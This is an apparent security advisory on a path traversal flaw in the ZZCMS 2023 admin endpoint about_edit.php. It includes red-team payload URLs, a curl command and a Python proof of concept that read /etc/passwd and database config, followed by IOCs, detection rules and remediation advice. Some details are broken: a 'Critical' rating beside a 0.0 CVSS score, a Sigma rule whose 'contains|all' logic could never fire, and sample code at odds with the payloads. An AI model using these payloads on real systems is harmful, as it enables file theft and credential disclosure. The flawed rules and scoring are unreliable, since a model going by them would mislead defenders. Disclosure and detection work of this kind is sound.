CVE-2024-7926

Executive Summary

CVE-2024-7926 is a critical path traversal vulnerability identified in ZZCMS 2023. The flaw resides in the /admin/about_edit.php?action=modify endpoint, where the skin argument is improperly sanitized, allowing an attacker to traverse directories and read arbitrary files on the server. This vulnerability can be exploited remotely without authentication, posing a significant risk to confidentiality. As of this report, no official patch has been released, and a public proof-of-concept (PoC) is available, increasing the likelihood of exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score not provided by NVD; calculated based on vector)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)
• Threat Level: Critical (due to remote, unauthenticated exploitation and public PoC)

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the ZZCMS admin panel. The file /admin/about_edit.php processes the action=modify parameter and uses the skin argument to construct a file path for reading or writing configuration data. Due to insufficient input validation, an attacker can inject path traversal sequences (e.g., ../) to escape the intended directory and access sensitive files outside the web root.

Technical Flow:

1. The application receives a GET or POST request to /admin/about_edit.php?action=modify&skin=....
2. The skin parameter is concatenated into a file path without proper sanitization.
3. Functions like file_get_contents() or include() are called with the manipulated path.
4. An attacker can read files such as /etc/passwd, database configuration files, or application source code.

Impact:

• Unauthorized read access to sensitive system files.
• Potential disclosure of database credentials, API keys, or application secrets.
• Could be chained with other vulnerabilities for further compromise.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$skin = $_GET['skin'];
$file = "templates/" . $skin . ".php";
$content = file_get_contents($file);
echo $content;
?>

Patched Code (Conceptual):

<?php
$skin = basename($_GET['skin']); // Remove path components
$allowed = ['default', 'blue', 'red'];
if (in_array($skin, $allowed)) {
    $file = "templates/" . $skin . ".php";
    $content = file_get_contents($file);
    echo $content;
} else {
    die("Invalid skin parameter.");
}
?>

Key Differences:

• The patched version uses basename() to strip directory traversal sequences.
• It implements a whitelist of allowed skin names, rejecting any input not in the list.
• The vulnerable version directly concatenates user input without validation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running ZZCMS 2023 with the admin panel accessible.
• No authentication required for the vulnerable endpoint.

Exploit Steps:

1. Identify the target URL: http://target.com/admin/about_edit.php?action=modify
2. Craft a payload to read /etc/passwd:

   http://target.com/admin/about_edit.php?action=modify&skin=../../../../../../etc/passwd%00
   

   (Note: Null byte injection may be needed depending on PHP version; modern PHP versions are immune to null bytes but path traversal still works.)
3. Alternatively, read the database configuration file:

   http://target.com/admin/about_edit.php?action=modify&skin=../../../../config/database.php
   

4. Use a tool like curl:

   curl "http://target.com/admin/about_edit.php?action=modify&skin=../../../../etc/passwd"
   

Proof-of-Concept (PoC) Code:

import requests

target = "http://target.com/admin/about_edit.php"
params = {
    "action": "modify",
    "skin": "../../../../etc/passwd"
}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing ../ or %2e%2e%2f in the skin parameter.
• Alert on access to /admin/about_edit.php with unusual skin values.
• Use WAF rules to block path traversal patterns.

Mitigation:

• Apply input validation and sanitization immediately.
• Restrict access to the admin panel via IP whitelisting or VPN.
• Implement a Web Application Firewall (WAF) with rules to block path traversal.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/about_edit.php?action=modify&skin=... containing ../ or encoded variants.
  • Outbound connections from the web server to unknown IPs (if data exfiltration occurs).
• File System IOCs:
  • Unexpected access to files outside the web root (e.g., /etc/passwd, /etc/shadow).
  • Modified or newly created files in the templates/ directory.
• Log IOCs:
  • Web server logs showing 404 or 200 responses for path traversal attempts.
  • Error logs containing file inclusion errors.

Detection Engineering

YARA Rule

rule CVE_2024_7926_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CVE-2024-7926 in ZZCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7926"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $param = "skin="
    condition:
        any of ($traversal*) and $param
}

Sigma Rule

title: CVE-2024-7926 ZZCMS Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with path traversal patterns in the skin parameter targeting ZZCMS admin panel.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/admin/about_edit.php'
            - 'action=modify'
            - 'skin='
        cs-uri-query|contains|all:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of skin parameter with valid values (e.g., 'default')
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7926 ZZCMS Path Traversal Attempt"; flow:to_server,established; content:"/admin/about_edit.php"; http_uri; content:"action=modify"; http_uri; content:"skin="; http_uri; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /admin/about_edit.php via .htaccess or web server configuration.
2. Apply input validation: Sanitize the skin parameter using basename() and a whitelist of allowed values.
3. Restrict admin access: Use IP whitelisting, VPN, or multi-factor authentication for the admin panel.

Long-term Fix:

• Monitor the ZZCMS vendor for an official patch. If none is released, consider migrating to a supported CMS.
• Conduct a security audit of the entire application for similar vulnerabilities.
• Implement a Web Application Firewall (WAF) with rules to block path traversal.

Workaround:

• If patching is not possible, remove or rename the about_edit.php file and replace it with a secure version.

Valters IT
Securing Digital Frontiers